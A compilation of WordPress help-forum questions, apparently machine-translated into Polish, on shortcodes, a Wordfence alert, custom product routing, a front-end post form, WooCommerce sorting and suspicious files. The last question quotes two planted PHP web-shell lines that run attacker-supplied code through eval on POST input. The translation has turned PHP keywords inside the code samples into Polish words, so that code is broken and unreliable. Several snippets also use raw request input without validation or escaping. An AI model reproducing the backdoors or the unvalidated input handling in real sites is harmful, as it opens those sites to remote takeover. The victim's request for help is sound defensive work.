text: Stworzyłem własny shortcode. Niestety nie mogę udostępnić kodu ;/ Kiedy używam go na moich stronach, zachowuje się dziwnie. Zawsze ma najwyższy priorytet. Mam na myśli coś takiego w edytorze stron: Tekst [krótki kod] Wyprowadza na stronie: < treść shortcode > Tekst A to w edytorze stron: [shortcode] Tekst [shortcode] Daje: < treść shortcode > < treść shortcode > Tekst Więc ja' nie mogę wstawić niczego przed i pomiędzy moimi skrótami. Aby powiedzieć więcej, moje shortcodes używają kilku if, foreach i pętli (pobierają i wyświetlają dane z niestandardowego typu postu). Jakieś pomysły, dlaczego tak się dzieje? [edytuj] ** OK, więc używam echa zamiast powrotu. Mój błąd. Czy istnieje sposób na zwrócenie całej funkcji bez edytowania każdej linii i dodawania $output itp.?**


title: Wordfence wykrywa zmiany w wp-admin/includes/upgrade.php

text: Przeniosłem swoją witrynę z dostawcy hostingu A i nazwy domeny B na dostawcę hostingu X i nazwę domeny Y. Miałem Wordfence w starej witrynie. Właśnie zainstalowałem go w nowej witrynie i wykonałem skanowanie. Wordfence znalazł następującą zmianę w wp-admin/includes/upgrade.php : 279 @wp_mail($email, __('Nowa witryna WordPress'), $message); stał się 279 //@wp_mail($email, __('Nowa witryna WordPress'), $wiadomość); Czy ktoś wie, czy to oznacza jakiś problem z włamaniem lub bezpieczeństwem?


title: Wordpress jako baza aplikacji webowych

text: Planuję użyć wordpressa jako podstawy dla mojej następnej aplikacji internetowej. Wcześniej używałem RoR, Laravela itp. do aplikacji webowych i wordpressa głównie do blogowania. Aplikacja internetowa zdefiniuje oddzielną tabelę PRODUCT (inną niż domyślne tabele wordpress) i na podstawie struktury adresu URL zostaną pobrane dane dla konkretnego produktu. np. http://webapp.com/product/dummy http://webapp.com/product/pummy dummy, pummy to przyjazna seo nazwa konkretnego produktu. Pod konkretnym adresem URL mają się wyświetlić dane produktu. Dotychczasowe dane (około 15000 produktów) zostaną zaimportowane do tabeli produktów. Większość frameworków, takich jak RoR, Laravel itp., obsługuje routing, w którym można odczytać adres URL, pobrać dane z bazy danych i wyświetlić. Używając funkcji w kontrolerze, możesz pobierać dane i wyświetlać je za pomocą widoków. Chcę zrozumieć najlepsze praktyki i sposoby ich wdrożenia w wordpressie. W przypadku, gdy produkt jest postem niestandardowym, tworzymy jeden post na produkt (w tym przypadku 15000 postów) itp.


title: Edytuj formularz niestandardowy posta VS

text: Mam bloga, który w dużym stopniu opiera się na treściach generowanych przez użytkowników. Chciałbym, aby moi użytkownicy mogli tworzyć posty, ale posty muszą mieć tylko określone pola: * tytuł * treść * dołączony obraz * dwa pola metadanych (szerokość i długość geograficzna z Map Google) * tagi (tylko wcześniej istniejące tagi) Czy lepiej: a) dać użytkownikom dostęp do ekranu edycji posta i zmienić jego styl (czy to możliwe?) czy b) opracować niestandardową stronę/formularz do przesłania posta? Do tej pory decydowałem się na drugą opcję (kod poniżej), ale nie jestem pewien, czy podchodzę do tego we właściwy sposób. if (isset($_POST['photo-title']) && !empty($_FILES) ) { // Użytkownik przesłał formularz. // Utwórz obiekt posta. $post = array( // Zapomnij na razie o braku walidacji ;) 'post_title' => $_POST['photo-title'], 'post_content' => $_POST['photo-description'], 'post_status' = > 'publish', 'post_type' => 'post', 'post_author' => $user_ID, 'post_category' => array(5) ); // Wstaw post do bazy danych. $post_id = wp_insert_post( $post ); // Jeśli post się powiódł if ($post_id) { // Dodaj metadane do zdjęcia add_post_meta($post_id, 'ob_latitude', $_POST['latitude']); add_post_meta($post_id, 'ob_longitude', $_POST['longitude']); } // Obsłuż przesyłanie zdjęć. $attach_id = media_handle_upload('zdjęcie', $post_id ); }


title: Sortowanie Woocommerce nie sortuje wyników po ponownym załadowaniu strony

text:
Mam kod w index.php, który pokazuje produkty Woocommerce, a także udostępnia listę rozwijaną do sortowania. Niezależnie od opcji, którą wybiorę z rozwijanego menu, strona ładuje się ponownie, a mimo to pokazuje te same wyniki. Załóżmy więc, że wybieram wyświetlanie produktów za pomocą opcji „Cena (od najwyższej do najniższej)”, nadal stosuje się sortowanie domyślne. Innymi słowy, sortowanie nie ma wpływu na wyniki. Zawsze jest to sortowanie domyślne. Umieściłem również kod z Woocommerce Frontend Snippets w functions.php, ale to nie pomaga. **Oto zawartość mojego pliku index.php:** <?php get_header(); ?> <?php echo $_GET['orderby']; //To odzwierciedla wartość poprawnie otrzymaną ze zmiennej $_GET $args = array( 'post_type' => 'product', 'orderby' => $_GET['orderby'], ); $wp_query = nowe WP_Query($args); ?> <?php do_action('woocommerce_before_shop_loop'); // sortowanie woocommerce ?>
 <?php woocommerce_product_subcategories(); ?> <?php while ($wp_query->have_posts()) : $wp_query->the_post(); ?> <?php woocommerce_get_template_part('treść', 'produkt'); ?> <?php koniec; // koniec pętli. wp_reset_query(); ?>

 <?php get_sidebar(); ?> <?php get_footer(); ?> **Kod w functions.php** //Niestandardowe opcje sortowania (asc/desc) /** * Ten kod należy dodać do functions.php Twojego motywu **/ add_filter('woocommerce_get_catalog_ordering_args', 'custom_woocommerce_get_catalog_ordering_args') ; function custom_woocommerce_get_catalog_ordering_args( $args ) { if (isset($_SESSION['orderby'])) { switch ($_SESSION['orderby']) : case 'date_asc' : $args['orderby'] = 'data'; $args['zamówienie'] = 'asc'; $args['meta_key'] = ''; przerwanie; case 'price_desc' : $args['orderby'] = 'meta_value_num'; $args['zamówienie'] = 'opis'; $args['meta_key'] = '_cena'; przerwanie; case 'title_desc' : $args['orderby'] = 'tytuł'; $args['zamówienie'] = 'opis'; $args['meta_key'] = ''; przerwanie; wyłącznik końcowy; } return $args; } add_filter('woocommerce_catalog_orderby', 'custom_woocommerce_catalog_orderby'); function custom_woocommerce_catalog_orderby( $sortby ) { $sortby['title_desc'] = 'Alfabetycznie odwrotnie'; $sortby['price_desc'] = 'Cena (od najwyższej do najniższej)'; $sortby['date_asc'] = 'Od najstarszego do najnowszego'; return $sortby; } Utknąłem z tym niedziałającym fragmentem kodu już od 3 dni. Googlowanie w poszukiwaniu rozwiązania było bezowocne. Widziałem, jak wielu innych ma ten sam problem, ale wydaje się, że nikt nie znalazł odpowiedzi. Używam WordPress 3.5.1, Woocommerce 2.0.12. Każda pomoc, aby **właściwie uporządkować produkty zgodnie z wyborem dokonanym za pomocą menu rozwijanego**, będzie bardzo mile widziana.


title: Podejrzane pliki

text: Cześć Znalazłem dwa podejrzane pliki na mojej stronie: 1. Pierwszy w moim motywie (`404.php`), z dodaną linią `<?php if ($_POST["php"]){eval(base64_decode($_POST ["php"]));exit;} ?>` 2. Drugi w `/wp-admin/` o nazwie `wp-class.php`. Jedyną linijką, która tam była, była: `<?eval($_POST[joao]);?>` Czy ktoś może mi powiedzieć, co to robi i jakie kroki powinienem podjąć?